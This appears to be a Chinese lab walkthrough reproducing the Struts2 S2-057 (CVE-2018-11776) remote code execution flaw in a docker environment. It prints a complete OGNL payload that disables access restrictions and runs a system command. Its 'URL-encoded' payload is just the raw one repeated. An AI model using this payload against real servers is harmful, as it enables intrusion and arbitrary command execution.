远程代码执行漏洞(CVE-2018-11776)

    技术2022-07-11  132

    影响版本

    Struts <= Struts 2.3.34, Struts 2.5.16

    环境搭建

    启动Struts 2.3.34环境:

    docker-compose up -d

    启动环境后,访问http://your-ip: 8080/show/,您将看到Struts2测试页面。

    漏洞利用

    利用

     

    S2-057要求具备以下条件:

     

     

    action元素没有设置名称空间属性,或者使用了通配符

     

    名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。

     

    有效载荷:

    花括号进行url编码

    http://your-ip:8080/${1+1}/actionChain1.action

    可以发现我们的一加一算法得出结果了

    使用来自S2-057漏洞分析和POC的有效载荷:

    ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    进行url编码

    ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    id命令进行了执行

     

    Processed: 0.046, SQL: 9